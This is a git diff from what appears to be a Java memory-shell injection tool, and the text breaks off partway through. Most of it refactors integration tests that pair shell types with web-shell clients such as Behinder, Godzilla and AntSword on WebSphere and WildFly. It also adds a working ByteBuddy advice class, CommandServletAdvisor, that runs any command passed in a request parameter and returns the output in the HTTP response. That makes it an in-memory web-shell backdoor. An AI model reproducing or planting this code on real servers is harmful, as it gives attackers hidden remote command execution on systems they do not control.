ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index b4ec3629..80e3d103 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.websphere; -import com.reajason.javaweb.memshell.WebSphereShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.WebSphereShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,21 +45,21 @@ public class WebSphere905ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java index 8e154f18..c9a213f9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.websphere7; -import com.reajason.javaweb.memshell.WebSphereShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.WebSphereShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,21 +45,21 @@ public class WebSphere700ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 34a05d33..24c11267 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.wildfly; -import com.reajason.javaweb.memshell.UndertowShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.UndertowShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,21 +43,21 @@ public class Wildfly18ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index df7fa298..f9ee25a3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.wildfly; -import com.reajason.javaweb.memshell.UndertowShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.UndertowShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,21 +43,21 @@ public class Wildfly23ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java index e3476e7a..212e3d54 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.wildfly; -import com.reajason.javaweb.memshell.UndertowShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.UndertowShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,18 +43,18 @@ public class Wildfly30ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index acf2cb03..92a26e68 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.wildfly; -import com.reajason.javaweb.memshell.UndertowShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.UndertowShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -46,36 +46,36 @@ public class Wildfly9ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), // arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java index 3c43af81..be53dadb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.xxljob; -import com.reajason.javaweb.memshell.XxlJobShell; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.XxlJobShell; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java index f8537a48..62894df3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.xxljob; -import com.reajason.javaweb.memshell.XxlJobShell; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.XxlJobShell; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandServletAdvisor.java new file mode 100644 index 00000000..8d369bb3 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandServletAdvisor.java @@ -0,0 +1,36 @@ +package com.reajason.javaweb.memshell.springwebmvc.command; + +import net.bytebuddy.asm.Advice; + +import java.io.InputStream; +import java.io.OutputStream; + +/** + * @author ReaJason + * @since 2025/1/18 + */ +public class CommandServletAdvisor { + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response + ) { + String paramName = "paramName"; + try { + String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; + } + } catch (Exception ignored) { + } + return false; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java deleted file mode 100644 index 31f5c326..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java +++ /dev/null @@ -1,117 +0,0 @@ -package com.reajason.javaweb.memshell.apusic.behinder; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class 